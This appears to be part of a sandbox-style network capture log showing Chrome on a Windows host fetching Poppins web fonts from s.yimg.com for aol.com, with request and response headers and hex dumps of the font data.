2024-05-23 22:34:36 UTC	1300	IN	Data Raw: 30 49 67 49 66 15 97 da c4 c5 d4 9a 2e b5 6a 0e e9 30 07 4b 4b 39 a4 d5 1c d2 75 0e 69 c5 09 b4 e5 12 9f 69 39 b1 b4 8c 34 94 73 b9 34 7d a1 bd 66 bc a2 0f b6 cc aa 9c e5 0f d9 26 3b 7b 3f e7 55 0c d7 a5 37 25 3b 65 ab 8c e3 04 d3 04 4f 09 a6 04 e6 10 dd 22 f1 3a 86 7f 1f a7 0c 7b b8 33 b7 79 ae f3 a2 ab ea 3f 6e 6d ed c9 46 81 31 cf 7b 8e a7 b0 62 ad 26 27 13 96 38 1c b0 cb ed 86 bb d9 d3 eb c5 d2 3f 35 eb b5 5a 55 0c df 68 36 5b cb 1a 0a 45 5a 32 4a 12 0a 98 4e 52 89 b1 40 91 2e a2 6b 2e 35 77 d1 64 82 80 0b 72 22 ae c6 1b 9f e6 f2 40 47 f3 b8 59 9f 2b a4 ce b2 18 2d 2d c5 80 55 5a 4a 8c c8 52 49 13 91 62 44 61 13 ab ac 25 85 5e 2c 53 48 95 61 39 86 a2 5e b6 2c 95 b3 2e ca 34 db cb be 41 e9 8d 5b ac 8b 9c 49 c6 d8 2a d2 39 17 e9 21 9e b1 31 97 72 28 ba Data Ascii: 0IgIf.j0KK9uii94s4}f&;{?U7%;eO":{3y?nmF1{b&'8?5ZUh6[EZ2JNR@.k.5wdr"@GY+--UZJRIbDa%^,SHa9^,.4A[I*9!1r(
2024-05-23 22:34:36 UTC	1300	IN	Data Raw: 21 03 31 d1 57 32 fa fd c2 ac 37 61 ef c8 9b be 73 63 50 87 9a 55 c9 db bc 12 66 6e 87 b4 71 81 64 d5 ef 60 7c f3 11 50 3b d9 70 e4 6e ba 78 7e 77 67 27 96 70 fe c0 95 1f 3e e3 3a ed 62 b6 ad c9 0c 04 69 cc 34 8a 32 6c f2 51 b3 6b 77 a1 6b d9 ce fa b5 02 48 e3 bf 9d 31 77 77 c7 62 00 a2 89 6d a7 b1 75 9f 35 23 47 6c 07 2e ee ac 8c ac 16 de 16 03 92 e5 56 ce d6 b6 3d 49 30 1c bb ac 10 b8 83 a2 e1 a4 6c b0 5b 76 cb 59 e5 dd ab 04 97 38 1a 86 0e 25 9d 5f ed c8 3e b1 c1 e7 35 67 78 d8 78 d9 35 2d aa 6c 97 ac 2e 78 36 1f 18 a0 2f 03 a5 35 1f 36 39 a3 fb 66 40 4c e7 02 8e 87 ae 3d a3 b5 38 69 6d 60 12 6a f3 db 8d 0c 7e 53 08 b7 31 8b ec 76 2b 24 87 5e 31 67 f4 82 bb 4e e5 fe f8 61 93 01 4d 48 14 ce ff 34 a7 60 18 6d 9f 44 af 1b 54 2f 69 ed 97 e0 91 df 0f a2 b6 Data Ascii: !1W27ascPUfnqd`\|P;pnx~wg'p>:bi42lQkwkH1wwbmu5#Gl.V=I0l[vY8%_>5gxx5-l.x6/569f@L=8im`j~S1v+$^1gNaMH4`mDT/i
2024-05-23 22:34:36 UTC	1300	IN	Data Raw: 62 87 9e 50 cd a3 d8 d2 18 8a e3 c0 21 30 25 3b e1 07 b6 26 de 67 29 c5 b5 29 a6 1e 8e 46 ef 33 68 fd 36 36 04 7b ed eb 9a f8 52 13 69 11 e3 52 7a 3a 6d cb 36 cb fe 1f 1a f5 01 f0 89 16 6c 74 1d 7e 28 48 8c 02 ab a4 c9 88 02 ab eb 5a d9 bd d4 8c 71 28 4a de 88 10 63 df 0a 6f c3 05 87 e1 38 12 fb 79 61 6e b7 5c a3 27 87 5f b5 34 65 d0 42 a8 31 a5 65 87 8c 91 3a b1 5b b1 28 22 bb b1 f8 3e da 6a 09 70 af bf b1 92 cb 2b a4 6a af 29 1a f3 0a aa b7 72 9c 0b d0 01 bc fa 37 75 70 a7 93 a7 a0 11 30 d0 72 d9 cb 39 66 73 1d ff e4 3c 33 48 ec 1d d7 78 ad 33 d3 98 38 f7 94 cc 6c 0a e2 b9 32 13 49 0e 9d 2a aa c8 1a c1 cc 59 5b cc 28 ce 89 15 41 72 bc ce ca 39 4b ee d0 34 22 5b 58 64 8f 70 8f 70 7e ad 46 3b 52 f1 5a af 2b d0 5f 2d 00 a0 4d 55 d3 bf 0b 11 77 0f df 7d ef Data Ascii: bP!0%;&g))F3h66{RiRz:m6lt~(HZq(Jco8yan\'_4eB1e:[(">jp+j)r7up0r9fs<3Hx38l2I*Y[(Ar9K4"[Xdpp~F;RZ+_-MUw}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.6	49770	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:36 UTC	577	OUT	GET /cv/apiv2/aolfp/fonts/poppins/Poppins-Bold.woff2 HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.aol.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://s.aolcdn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:36 UTC	816	IN	HTTP/1.1 200 OK x-amz-id-2: f2B6YwN5Ul6HR6gN5RU7sAojJA8IvNJ5ABxoos3p8Rej32ke95fRJQozDq00JDIVmPUYIVm0W3o= x-amz-request-id: Q2CFJM0GQK80VNW7 Date: Tue, 30 Apr 2024 20:28:40 GMT Last-Modified: Wed, 25 Jan 2023 09:31:52 GMT ETag: "6bc69312c74a1f1d8a57de89e9b00ce4" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000 Accept-Ranges: bytes Content-Type: font/woff2 Server: ATS Content-Length: 50532 Referrer-Policy: no-referrer-when-downgrade Age: 1994757 Access-Control-Allow-Origin: * ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Vary: Origin ATS-Carp-Promotion: 1
2024-05-23 22:34:36 UTC	1300	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 c5 64 00 0d 00 00 00 02 5c 80 00 00 c5 0a 00 04 01 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 40 1b a7 4c 1c cc 78 06 60 00 85 52 0a 87 b9 14 86 95 7d 01 36 02 24 03 a1 0a 0b 90 48 00 04 20 05 8a 70 07 c5 15 5b bb 01 72 07 dd b6 1f 55 a9 a8 74 27 a8 4f ad f4 fe c7 8f c8 05 f4 b4 35 2e ae e7 d6 78 88 cc 54 31 4a c4 db e7 0a d0 1d 48 62 87 76 ef b3 ff ff ff ff 0d cb 62 8c 79 ff 48 f7 0f 88 d6 54 b4 d2 cd da 1a 08 a3 70 37 24 4a 47 36 69 85 de a7 3a a0 94 62 79 64 72 da 95 89 65 cc 7e 23 0c d4 be 2c 64 c2 4c 65 e9 ae e9 0c a7 58 e5 76 2f 8f e7 38 37 0c 91 3a f6 a3 d6 5a 47 51 a2 9b f7 e3 68 72 ca 09 a3 f4 6f 95 54 37 d5 3a b8 05 fc a8 15 67 9f a6 49 94 f8 9a 7a de c5 54 ca b5 83 57 56 49 95 fa 1a 90 e3 7f Data Ascii: wOF2d\@Lx`R}6$H p[rUt'O5.xT1JHbvbyHTp7$JG6i:bydre~#,dLeXv/87:ZGQhroT7:gIzTWVI
2024-05-23 22:34:36 UTC	1300	IN	Data Raw: a8 1f 24 42 96 ea bb 57 20 4b 7d 95 41 41 1c 36 3c 7c de ce 3f bc 1b 0c 50 36 fc b0 bb 69 17 58 04 03 f0 2c e9 3c cc 24 8c c0 76 3c d8 f9 d0 7e 4c 49 9e e9 20 0a cc fb bf 65 96 74 5a 3a ed 38 67 80 0d a0 1c 52 40 36 21 52 55 d7 7c 6d 27 79 47 ab b5 9f b4 17 42 46 7e af 7f aa a9 ee ae 9e eb 09 da 0b 21 23 a7 40 98 a9 09 33 62 66 d0 d0 7e ff 7b 73 f6 de d4 99 40 97 f4 75 89 c3 78 9c 41 ee ce df 94 79 85 b3 b3 e7 ff 54 45 29 55 b5 6e 45 40 45 82 c2 16 87 14 38 8d df b7 34 a3 d3 aa aa 96 f7 39 c6 c7 8d 0c b0 2c 53 32 aa ea ea 79 bb fd 6b b4 29 c8 21 41 fb 32 cc 68 f7 90 16 c0 63 77 04 1b a3 83 7f b7 04 7d 3f 2c b9 58 58 11 09 a3 48 11 09 3d 6d e7 9b bc 95 0d ce db d6 be 2b 84 d0 85 50 bc cc 08 4d 08 23 84 30 9e c9 42 77 9c 7f 5b 0e 2d 41 04 ad f6 8f ce 61 fc Data Ascii: $BW K}AA6<\|?P6iX,<$v<~LI etZ:8gR@6!RU\|m'yGBF~!#@3bf~{s@uxAyTE)UnE@E849,S2yk)!A2hcw}?,XXH=m+PM#0Bw[-Aa
2024-05-23 22:34:36 UTC	1300	IN	Data Raw: 67 65 4c dc 78 82 8e 13 96 63 82 a1 8b 7a d7 01 d7 ee d6 0a 18 f2 bc bf dd cb 91 03 a7 54 3d e6 b8 ef 68 7b e2 1c f0 f7 73 d4 27 67 6f f4 c9 75 36 d1 26 d9 a1 a7 e4 ea bb a4 62 66 45 1e 20 45 bb 1a 05 71 67 ec 00 a0 46 1f 42 e0 83 62 64 23 4b 5f 04 f8 9f 3c 01 38 f0 d0 40 07 5d f4 d0 c7 18 73 6c 70 a4 65 60 61 65 73 50 b8 d7 a2 c5 78 2b 56 82 14 e9 72 e4 ca 53 68 c0 a0 11 a3 a6 cc f1 93 79 92 f6 b9 89 14 7e 54 56 c3 71 de 3f 59 d1 74 d3 b2 5d 2f 08 a3 38 29 eb eb ed 3d 2f 34 c3 f2 82 a4 58 ae e7 e7 45 39 1c ad 77 fb c3 f5 f1 b5 1d 2f eb e6 f5 c3 b2 f0 0d 85 18 c4 41 3c 24 41 51 28 0e 65 92 4b 3e 7a 8c 14 63 a6 14 2b e5 b8 a9 a5 9e 46 9a 69 a7 93 6e fa 99 64 d5 ba ec c2 14 53 7c 09 51 a3 45 a7 00 40 d7 f9 0a 52 a7 03 4e 42 4e 45 71 ad 4b d7 e9 be bd 07 b9 Data Ascii: geLxczT=h{s'gou6&bfE EqgFBbd#K_<8@]slpe`aesPx+VrShy~TVq?Yt]/8)=/4XE9w/A<$AQ(eK>zc+FindS\|QE@RNBNEqK
2024-05-23 22:34:36 UTC	1300	IN	Data Raw: ce 57 13 af 1c 2a 3c 9b f1 72 91 77 ae 81 bd 0c 28 e9 6c d2 e3 bc 9d cf b9 99 f5 68 41 ff dc 4a ab 1e 01 36 f6 58 d8 43 7c 69 a6 27 5e 24 5c 64 c7 0a 7b 87 be 7c 7c ad 6f 8c ce c9 c0 68 9c 93 a1 61 9d cd c8 50 2a f9 b5 b5 75 9e 3e 00 41 04 0f 82 3c 40 f1 84 29 14 58 e4 20 21 3b 00 a2 00 4c 64 e8 76 5d fe a1 10 20 2b 22 62 12 76 94 06 e0 81 13 44 5c f2 f2 bb 5a dd e8 df dc e8 b5 4f 15 7e 72 4d 9b a2 18 eb 2f ac 76 66 0d 63 82 c6 ca 2b 8e 91 e3 f6 41 3b 82 f7 f6 ad 8d 26 2d 8b 06 0b ee 40 e8 6c 23 87 47 16 1c b3 db 5a 4b 7d 33 f3 b1 42 7c a6 87 59 72 24 88 d2 57 ae 54 49 60 99 29 fd 1a e5 4b 11 e9 ac bc d3 c9 b9 10 0a 04 1f a4 e8 d4 72 54 49 25 97 32 ed 95 c7 9a 3b 8e 3e c8 4f 50 62 f1 78 a4 ef af d6 6a 77 93 7f b9 f6 b5 a4 c2 d1 d0 2f 21 81 90 86 ac 4b c6 Data Ascii: W<rw(lhAJ6XC\|i'^$\d{\|\|ohaPu>A<@)X !;Ldv] +"bvD\ZO~rM/vfc+A;&-@l#GZK}3B\|Yr$WTI`)KrTI%2;>OPbxjw/!K
2024-05-23 22:34:36 UTC	1300	IN	Data Raw: 42 46 19 67 91 65 76 28 53 0d 7d 5c 6c 04 cd b2 15 99 e3 cb 52 9b fd 3b 7a fa 85 8a a2 f7 69 22 aa 6c 74 c8 1b 1f ca bb 06 f5 4b 74 33 ed 75 cc 80 77 b2 fb 57 ef 18 17 a5 81 0b c8 99 9e 4e bf 72 b4 ad 8d 29 96 58 61 83 1d 35 2d 1d 3d b3 63 a2 24 49 f5 5e ba 4c b9 0a 7a e6 87 94 52 23 11 e6 3d d8 ce 73 31 62 93 c3 e2 e5 1b cd dd ff 6e 46 37 dd 9f 93 40 1d 0d 0c 31 61 1d 11 5e 8b 93 28 6d 30 8f 7a de ee 62 a5 d0 8d 86 92 7c e1 79 a9 19 e6 58 60 4b 35 cc a7 61 92 2b 97 05 32 64 5d 3e c3 c5 6f 05 d9 3f 2f 5d 49 38 41 c4 ad e7 86 e6 6a ba e1 53 d0 77 92 2e 9b d4 f3 46 73 d6 38 61 61 87 bd 73 2e c0 94 f7 f6 6d 94 81 fb 8b 68 41 45 f3 29 ce 93 b1 27 db 9f f8 3f 81 a4 85 c7 1e 8f 79 8f c3 1e 33 1e 43 62 ff 55 71 3d 7a 14 f5 e8 d1 23 f6 c3 ef 33 ee b4 3d be 1e 47 Data Ascii: BFgev(S}\lR;zi"ltKt3uwWNr)Xa5-=c$I^LzR#=s1bnF7@1a^(m0zb\|yX`K5a+2d]>o?/]I8AjSw.Fs8aas.mhAE)'?y3CbUq=z#3=G
2024-05-23 22:34:36 UTC	1300	IN	Data Raw: 41 4e 99 8f 28 35 87 12 45 28 6e 33 0a fb 1f 38 64 83 08 5a 6a 07 7f f9 e4 b9 97 de f9 90 ba 77 d2 59 48 a3 27 a5 12 25 c7 4e 05 27 28 7e 57 04 92 a8 83 b7 a1 d6 ed 1f 0f 9f 0f 2f 72 5d 08 3b d8 82 0d 65 2a 35 0d 98 60 80 06 2a e5 5d 40 4a 5d 94 6b 20 25 1f 94 d5 29 7a 8a 3d 85 b9 9d 07 10 19 94 07 60 db 95 94 4e d4 e3 a7 2e 33 44 49 62 23 41 4f 11 69 55 ab 27 c6 0c 9e 3d 6e f7 42 59 52 25 88 11 21 98 ff 68 8e b3 4d 98 8c 77 55 41 dc c1 bf 23 3b 7f 77 fe aa da 58 30 7e 77 cc 81 31 63 4c 97 4c cd 8c 99 8c c6 68 c9 77 37 60 a4 d3 61 e4 9a 26 ae ce b7 81 2a 21 00 37 be 33 2c 73 44 d7 31 53 e8 74 fe ee fe c7 79 32 26 9a b2 fa 2e f1 dd 71 b6 f0 d7 5f 89 6c e7 06 d8 a0 cd 4a ce 19 50 c3 2d c3 b0 bc f4 12 97 62 c5 d4 28 53 86 87 90 90 3a 8d 1a 69 fc 81 f4 77 85 Data Ascii: AN(5E(n38dZjwYH'%N'(~W/r];e5`]@J]k %)z=`N.3DIb#AOiU'=nBYR%!hMwUA#;wX0~w1cLLhw7`a&*!73,sD1Sty2&.q_lJP-b(S:iw
2024-05-23 22:34:36 UTC	1300	IN	Data Raw: bf 51 01 16 c2 8d ba 1e e8 be 1f 00 5e fd 0d 37 fb 8c db e8 f1 5d 44 29 2d 83 7a 8f d7 48 86 c4 96 04 ea 07 81 97 db 1d a8 4d 82 e4 30 89 21 41 c7 a8 db d2 d0 56 7f 76 64 86 1c 48 71 de a4 52 de 7d ec 65 33 bb a5 99 3a 59 e5 44 30 c1 63 63 39 f4 08 39 8b 18 89 f7 ea 76 0c df 4b 54 5c 81 16 48 2a 1a af 2d ec fd 28 a8 c3 d8 fb 3e fa e5 16 0c 3c b8 cd 22 3e 88 81 16 58 d8 2d e7 67 41 89 cf e7 38 68 e0 d2 01 b8 2f 39 4a 9c e1 96 7a aa 0e 81 b8 be 0a 8d 2e 5f 40 4e 6c 6f 85 d6 02 18 a4 53 81 2a 04 28 c7 80 53 81 96 a1 4c 9d 27 41 13 6c 0b ab 15 25 e8 18 22 79 5b 28 b2 cd 66 40 5f a8 e9 e3 a0 e0 ba 60 c2 7b 6c 87 53 13 42 82 af 95 8e d1 0a 72 ba c5 19 05 06 85 a8 cd 21 34 2d c4 12 1c 60 d6 1c 5f 94 ce 66 6a 41 0b c1 55 9b 08 76 af 8b a8 45 51 82 7a 77 78 0b 21 Data Ascii: Q^7]D)-zHM0!AVvdHqR}e3:YD0cc99vKT\H-(><">X-gA8h/9Jz._@NloS(SL'Al%"y[(f@_`{lSBr!4-`_fjAUvEQzwx!
2024-05-23 22:34:36 UTC	1300	IN	Data Raw: f7 a5 8a 1d 34 c2 b6 ca 67 8d 1d e1 aa ee 9e 7d c2 5d 7f bf 45 ba 7f be 86 12 18 b4 49 52 de 65 bd 61 bb 63 3c 21 cf 49 59 af 99 72 3c 72 ca 6f 1f 16 15 ef 0d 07 fd 7e b7 2b 8c 87 c3 d1 b6 9c 82 c8 48 96 51 84 28 96 7b 49 92 16 82 f7 81 ba 1b 96 56 9b 0f 89 86 30 c2 89 b8 1e 8f c1 d7 1a aa 23 53 e2 19 92 98 0b 71 42 d0 94 86 16 3e 8d 02 1a 7b f1 91 48 9b b6 54 0b ed 47 e9 8c 14 01 93 65 9a 70 d5 3b 09 45 9a 25 95 e9 e3 93 9c 7a c8 74 3d a2 2b 72 98 70 2b 9a 0c 9b 38 e7 12 ea 91 04 92 ee 46 b2 66 db 25 c1 de 62 35 27 fa 6e b4 1a bd a4 56 35 02 7d ef 1b fa 98 47 14 63 10 3a de 37 93 7e 6d 45 1b 86 4c 76 d1 0c 66 64 64 62 18 0e f9 b8 d6 75 62 52 06 ac 23 1a 4a e0 e5 65 b8 09 e9 7a 37 88 fa 05 05 fe 81 e8 47 12 24 42 da 91 c6 41 df 5d 8b a4 09 12 43 1c 3b 27 Data Ascii: 4g}]EIReac<!IYr<ro~+HQ({IV0#SqB>{HTGep;E%zt=+rp+8Ff%b5'nV5}Gc:7~mELvfddbubR#Jez7G$BA]C;'
2024-05-23 22:34:36 UTC	1300	IN	Data Raw: 8d be c1 0b 1a 79 d7 c6 18 ba ae 26 86 e4 97 4d 81 8d f3 31 d7 25 c8 eb 0b a8 a0 31 34 5e d1 30 b5 0c 78 1b 2a 30 7b 97 4f fe e2 15 f4 01 e4 c9 8d 1a c3 1e 3d 86 04 9c 1c c4 1b 0e b3 41 3c 0a 01 a0 06 56 9f d0 6d ab de c0 09 dc 9a 84 a9 db 0b 50 34 b6 ec e8 9b 5b dc 6b cb e3 50 bf 24 04 05 0d f5 53 1e 00 43 3d f4 01 44 2d 79 23 c8 f3 6d 3e b0 ee 82 f5 18 80 06 51 f5 93 a8 62 74 10 2e 1a b4 39 a0 18 32 20 eb ed 7a ce 05 90 4a 80 cd 83 52 56 a3 e4 ca 6b 08 f2 cb 0f bc 0e 06 00 44 33 dc e6 33 10 c8 4f 0c 03 10 22 1f 91 72 ea 78 e1 f0 55 cf 7b 28 f0 00 b0 ca c4 e8 e9 11 35 0a 68 98 6f bf b7 3d 93 75 38 62 cc 81 f7 51 cf 63 39 03 4a 11 9f 79 63 07 73 d1 d5 15 ff 42 ee 88 2c d0 87 0e bb bb c8 b8 93 19 3d e4 c8 68 e1 9c 62 a7 d8 56 4d 52 26 f1 95 91 af 8a 49 71 Data Ascii: y&M1%14^0x*0{O=A<VmP4[kP$SC=D-y#m>Qbt.92 zJRVkD33O"rxU{(5ho=u8bQc9JycsB,=hbVMR&Iq
2024-05-23 22:34:36 UTC	1300	IN	Data Raw: a3 35 00 da 45 3d 15 b0 a3 ea e8 c1 7f e4 4a 60 1a c0 50 77 ff 4f f4 d8 0d 76 71 7f 4d 78 f0 a1 6d 81 2c 5f 0c f4 fb d2 8e 26 a8 22 cb 8b 26 72 62 f5 6d 77 64 65 02 3e ac de 45 be c8 f9 31 c9 8d 8d ed c1 ec db 85 f7 40 b0 7c ac 69 3b a4 91 32 5a 4b 76 a2 97 d7 ef 88 e5 94 c7 5a ed cd ab f2 8c ae 7b f5 c2 e7 73 43 e8 a9 8c cb 48 bd 83 67 6c 4d d8 7f 35 f7 13 75 b0 ba a2 27 8d 25 4b f8 84 7c 36 6a 29 a4 ef e2 40 82 5c 1e 33 fc 51 fb cc ff af 20 3c b3 5a 8c c7 56 85 55 f2 53 d7 26 9d 1f 54 72 b8 ad ea 71 3a ed 6b b2 99 3e 1d a2 90 64 fe f9 d5 94 cf fe d1 67 1f 32 d5 67 ef f8 9a b9 3e 6d 0a 57 f6 57 d0 e3 0d 3d da 09 3c 75 ab 3a 7b 5a 6a 70 01 ef 5d 39 55 3e ef ee c4 52 3b 48 18 5a 9e e8 21 5b ce fb 90 43 46 0b 69 78 87 3f a7 7f 06 63 e4 28 a5 66 20 2f d6 14 Data Ascii: 5E=J`PwOvqMxm,_&"&rbmwde>E1@\|i;2ZKvZ{sCHglM5u'%K\|6j)@\3Q <ZVUS&Trq:k>dg2g>mWW=<u:{Zjp]9U>R;HZ![CFix?c(f /

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.6	49771	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:36 UTC	580	OUT	GET /cv/apiv2/aolfp/fonts/poppins/Poppins-Regular.woff2 HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.aol.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://s.aolcdn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:36 UTC	816	IN	HTTP/1.1 200 OK x-amz-id-2: LAub/hRPsoFIWjJe0EmPqyj22A1+LCDM/UBmsKUSIq95wMeLtuaZ01EqLDZdfQI4/u5p9XZ1vbU= x-amz-request-id: FVSD34BYRR5Z8HZ3 Date: Mon, 08 Apr 2024 19:26:53 GMT Last-Modified: Wed, 25 Jan 2023 09:31:52 GMT ETag: "b038ffc2a3543db59d8b131cc5f9585d" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000 Accept-Ranges: bytes Content-Type: font/woff2 Server: ATS Content-Length: 51136 Referrer-Policy: no-referrer-when-downgrade Age: 3899265 Access-Control-Allow-Origin: * ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Vary: Origin ATS-Carp-Promotion: 1
2024-05-23 22:34:36 UTC	1300	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 c7 c0 00 0d 00 00 00 02 6d 5c 00 00 c7 67 00 04 01 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 40 1b a7 66 1c cc 74 06 60 00 85 52 0a 87 da 40 86 c6 24 01 36 02 24 03 a1 0a 0b 90 48 00 04 20 05 8b 08 07 c5 15 5b 10 1a 92 44 54 22 b7 7f f9 84 b6 55 60 7c 5b 35 60 8e 79 2f 27 70 6e d3 4b dc 4a 77 82 b5 ca e6 5d fe 78 89 78 fb 40 40 77 00 5d 7f 62 45 48 f6 ff ff ff ff 7f 7a d2 90 c3 72 a7 4d da 2a 83 61 d8 cc fe 41 88 46 a0 9b 94 4b 6e 99 0b 4b 42 ed 0a 4a e9 db 9a 1f ad 72 cb 92 0a 91 86 ac 94 e5 a5 76 4c 4d 06 66 9a a9 f1 c0 e0 25 81 c4 8c 1e 9a 59 f9 5c 56 97 74 49 77 a4 2b fa 43 83 cd bc cc 73 9f 97 c3 39 a3 db e7 cd 1b b7 ae 7b 23 9d 78 46 3b 7d 50 e9 5c fe e4 33 fc 9a 1d d6 88 77 7f 75 7b 46 37 da d3 Data Ascii: wOF2m\g@ft`R@$6$H [DT"U`\|[5`y/'pnKJw]xx@@w]bEHzrM*aAFKnKBJrvLMf%Y\VtIw+Cs9{#xF;}P\3wu{F7
2024-05-23 22:34:36 UTC	1300	IN	Data Raw: e9 fe 9d 19 57 f9 25 ca 2a bd 10 68 07 9d d9 32 28 4d d9 6f e9 cf ac dc 24 b7 94 52 b9 c5 6c a6 63 07 2f 2c 21 f8 30 ca ff cd 95 36 d9 bb b2 02 74 c0 c6 e1 f3 7d 55 28 6b c4 ee 9f 99 4c 32 7f 27 b7 97 2c f0 bd db bd 2b 51 4a 90 6c 0a 93 94 68 bb aa 40 42 02 91 90 55 ae b2 ae 46 d6 ff 5a fb 37 7b 4f 65 3a 75 6f 65 26 c8 93 b0 a4 f2 e1 f2 91 31 32 ea a5 a7 df 9f ba 6f ba 7f 7e 3f 08 11 cc 0f 2c b2 5c b9 46 11 3b b6 88 4e ac d3 8b c0 36 43 d1 25 b1 64 93 3d 8b 18 05 c5 fa 76 38 bc 3c c4 c3 7f b7 9a f7 87 e6 52 87 64 8d b5 92 24 bb 1b f6 ef d7 0e dd f1 fa af 22 9f 52 ca 9b 93 10 82 84 10 a4 13 91 22 dd 71 fa ce ec 73 9e 04 99 2e 7b 28 ee 16 06 f3 1b 8c 2a 84 11 42 18 35 84 5e 0e 3d 96 1b 47 a5 72 93 99 ac 88 9f d3 7e 5a 2f 48 ca 80 ae af 8a 49 b0 d3 d5 d8 53 Data Ascii: W%h2(Mo$Rlc/,!06t}U(kL2',+QJlh@BUFZ7{Oe:uoe&12o~?,\F;N6C%d=v8<Rd$"R"qs.{(B5^=Gr~Z/HIS
2024-05-23 22:34:36 UTC	1300	IN	Data Raw: d8 34 a0 65 e6 69 5d 3d b2 75 3c 0f 4e 25 c4 ae 56 ce 6f 50 bc b7 d1 32 46 f7 8c df 25 2d 20 69 83 85 00 58 ad 52 b3 95 45 9c e6 24 fb 50 2c 53 67 fe 23 cf 4d 6a b4 e8 30 60 c8 88 31 53 96 ec 38 a3 a2 63 e3 e0 5a ad dc 2d d5 6a d4 a2 63 68 71 07 cb 7d 9d 7a cc e1 f8 62 de 32 1e 3f 58 a7 dd 5a 58 a1 4e 33 a9 d1 a5 87 c0 ca 5e 36 48 58 d8 b8 78 04 84 44 24 a4 e4 14 94 10 2a 7a 25 2c ea 34 59 68 91 74 14 19 ae c8 92 2d 47 be 42 45 8a d1 54 a9 d6 a4 19 d3 7d 9d 1e e8 f5 d0 a0 b4 0c 40 66 cb 29 ea d9 f4 d7 f6 d2 0c 17 57 77 1e 78 e8 71 9e 0c 71 8a 61 39 5e 10 35 dd b4 6c d7 f3 c3 ac 69 47 56 0c 04 23 d1 58 56 38 03 98 bd 34 a0 2c 3d e0 84 a4 58 8a d5 b6 7d d8 2d 60 fe 5e 7b 7e ab a9 2f 2f 2d 76 86 10 7f 4c 83 5d e6 0f 87 79 6e 97 57 5e de 5d ed c1 dc 5c a1 2d Data Ascii: 4ei]=u<N%VoP2F%- iXRE$P,Sg#Mj0`1S8cZ-jchq}zb2?XZXN3^6HXxD$*z%,4Yht-GBET}@f)Wwxqqa9^5liGV#XV84,=X}-`^{~//-vL]ynW^]\-
2024-05-23 22:34:36 UTC	1300	IN	Data Raw: 25 96 76 21 5f af 84 c4 00 ee cf 77 ec 99 f8 93 90 b3 57 6c 44 00 db 57 eb b8 9b 91 39 99 1c 9d 25 e9 1c 9d 35 e1 8e 62 4b d2 d5 3c f1 90 98 04 89 01 10 82 a0 80 90 01 14 6b 10 91 86 45 0a 12 49 05 40 84 01 52 30 74 bd c6 5f 72 16 12 c2 2f a6 c0 8e e2 06 28 f0 09 24 8e 2f 71 e3 4a 3f 70 4c 3e fb a9 3e cc 61 99 8e e9 b8 1f 70 b2 52 4a a1 24 bb 59 b2 eb 97 9a 5a 83 aa 55 f1 2d 42 88 a6 b0 32 c7 45 0e b1 ab d5 2c 69 14 b4 a9 05 bd d5 a4 06 c4 54 bd 4a 94 ad 73 8a 54 a8 7c e5 28 13 69 08 2b 21 f0 97 65 1f 4d eb d2 a2 d2 3f 99 55 08 5c 5f 9a 80 0f e1 75 5e 11 d1 f9 b8 4f f8 a4 af 32 6c 9d 3d d0 2d dc 64 1f 03 9f d0 c2 9f ed 4e ee c2 1b bb 4f 8a 0a 3d ec 42 84 80 48 07 5b c8 3e e0 94 92 93 c9 59 b7 1d 76 cb 2e 67 6d 91 6a a5 14 f3 24 9b 26 c9 78 c3 1e 37 64 a0 Data Ascii: %v!_wWlDW9%5bK<kEI@R0t_r/($/qJ?pL>>apRJ$YZU-B2E,iTJsT\|(i+!eM?U\_u^O2l=-dNO=BH[>Yv.gmj$&x7d
